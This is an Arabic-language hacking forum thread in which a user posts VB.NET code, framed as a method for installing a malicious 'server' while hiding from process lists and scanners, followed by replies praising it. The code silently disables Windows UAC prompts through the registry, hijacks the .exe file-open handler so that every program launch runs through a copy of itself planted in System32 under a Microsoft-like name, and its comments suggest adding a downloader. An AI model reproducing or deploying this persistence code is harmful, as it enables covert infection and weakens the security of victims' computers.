1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : ♛ G H O S T ♛ | المشاهدات : 136 | الردود : 14
حالة الموضوع:
مغلق
  1. ♛ G H O S T ♛

    ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    566
    الإعجابات المتلقاة:
    459
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    [​IMG]
    الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...
    ... و على آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...
    ...فإن أصدق الحديث كتاب الله تعالى و خير الهدي هديُ سيدنا محمد صلى الله عليه و سلم ... آمآ بعد...
    [​IMG]
    الطريقة أيضاء تفيــد في تخطي البروسيس وبرامج الفحص لكن أذا وضعت شرط فقط سوف تتخطى العملية البروسيس على النواتين لأنه الكود لايعتمد على الحقن
    وسوف تظهر العملية في البروسيس اذا تحقق الشرط . طبعاء الطريقة الي راح اضعها لها أكثر من طريقة استغلال ليس لأتثبيت فقط بأمكانك الاستفادة منها في مراقبة المسارات وفي برأمج الفحص ايضاء او الحقن في البرامج التنفيذية
    الطريقة بأمكانك استخدامها ايضاء مع الملفات txt و rtf و png و wav وكثير من الصيغ الكود هاذا فقط لـ exe

    * من عيوب هاذي الطريقة
    انهاء تحتاج الى صلاحيات المسؤؤل لتعمل بشكل صحيح ( لكن ليس هاذا صعب توجد طرق لتخطي هاذي العقبة )


    الكود اللذي راح ارفقو بلغة vbnet

    الطريقة اضافة
    ConsoleApplication
    ثم
    Module1

    اضافة الكود
    كود:
    Module Module1
        Sub Main()
            Dim GetCommand$ = Command() 'استقبال   
            If Not GetCommand = Nothing Then : GetCommand = GetCommand.Replace("""", "")
                Shell(GetCommand, AppWinStyle.NormalFocus) 'شل
    
                '''''''''
                MsgBox("Server Run <1> = " + GetCommand)  '  ضع شرط بسيط اذا تؤفر ينسخ السيرفر نفسه في مسار ويشتغل او استخدم داونلودر
                '''''''''
                End : Else
                If Not SetRgt("C:\Windows\System32\", "MicrosoftAIO.EXe") = "bad" Then
                    MsgBox("ON")
                    End : End If
            End If
        End Sub
        Sub relax()
            On Error Resume Next
            ' اخفاء نافذة التشغيل كمسؤؤل
            ' في حالة تشغيل اي برنامج كمسؤؤل بعد الان لن تظهر النافذة
            Dim S$ = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
            Microsoft.Win32.Registry.SetValue(S, "ConsentPromptBehaviorAdmin", "0", Microsoft.Win32.RegistryValueKind.DWord)
        End Sub
        Function SetRgt(Str1$, Str2$)
            Try
                'EXE
                Dim s$ = Str1 + Str2 : relax()
                Microsoft.Win32.Registry.SetValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", Nothing _
                    , s + " " + """%1"" %*")
                If System.IO.File.Exists(s) Then System.IO.File.Delete(s)
                System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, s)
                ';
                Return "nice"
            Catch ex As Exception
                Return "bad"
            End Try
    
        End Function
    End Module
    *=== تحديد كود ===*
    My Project
    Startup = sub main
    Application type = windowa forms application


    استبدل المسج
    MsgBox("Server Run <1> = " + GetCommand)

    بشرط + تشغيل السيرفر من مسار أخر غير السستم
    واذا ماتؤفر الشرط لن تظهر العملية في البروسيس My Project
    Startup = sub main
    Application type = windowa forms application


    استبدل المسج
    MsgBox("Server Run <1> = " + GetCommand)

    بشرط + تشغيل السيرفر من مسار أخر غير السستم

    ماتؤفر الشرط لن تظهر العملية في البروسيس
    [​IMG]
    <<<<<<<<<<<

    [ منكم الدعم ومنآ الجديد ]
    [​IMG]
     
    X-vipe ،بــرهــومــي ،MaX ~ و 2آخرون معجبون بهذا.
  2. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    ما شاء الله عاشت ايدك حبيبي ابو جاسم
    مبدع دائماً
     
    أعجب بهذه المشاركة ♛ G H O S T ♛
  3. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    636
    الإعجابات المتلقاة:
    678
    نقاط الجائزة:
    93
    الإقامة:
    7
    نظام التشغيل:
    windows xp
    رائع حبيبي طريقة جميــله وقويه
    شكر لك
     
    أعجب بهذه المشاركة ♛ G H O S T ♛
  4. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,780
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    نظام التشغيل:
    windows 7
    طريقة فعالة بارك الله بيك
     
    أعجب بهذه المشاركة ♛ G H O S T ♛
  5. X-vipe

    X-vipe Developer

    الأنتساب:
    ‏6 نوفمبر 2012
    المشاركات:
    72
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الوظيفة:
    Spam
    الإقامة:
    Jordan
    يعطيك العآفية ~
     
    أعجب بهذه المشاركة ♛ G H O S T ♛
  6. ♛ G H O S T ♛

    ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    566
    الإعجابات المتلقاة:
    459
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    وانت العايش حبيبي
    شكرا لك على مرورك
     
  7. ♛ G H O S T ♛

    ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    566
    الإعجابات المتلقاة:
    459
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    اسعدني مرورك يغالي
     
  8. ♛ G H O S T ♛

    ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    566
    الإعجابات المتلقاة:
    459
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    زادني شرف مرورك على موضوع
     
  9. ♛ G H O S T ♛

    ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    566
    الإعجابات المتلقاة:
    459
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    يسلمو على مرورك يغالي
     
  10. αℓɪ αℓɪяαqɪ

    αℓɪ αℓɪяαqɪ آداريً شؤون الأعضًاء

    الأنتساب:
    ‏30 يونيو 2015
    المشاركات:
    164
    الإعجابات المتلقاة:
    38
    نقاط الجائزة:
    28
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    عاشت ايدك حبيبي حمودي
     
    أعجب بهذه المشاركة ♛ G H O S T ♛
حالة الموضوع:
مغلق

مشاركة هذه الصفحة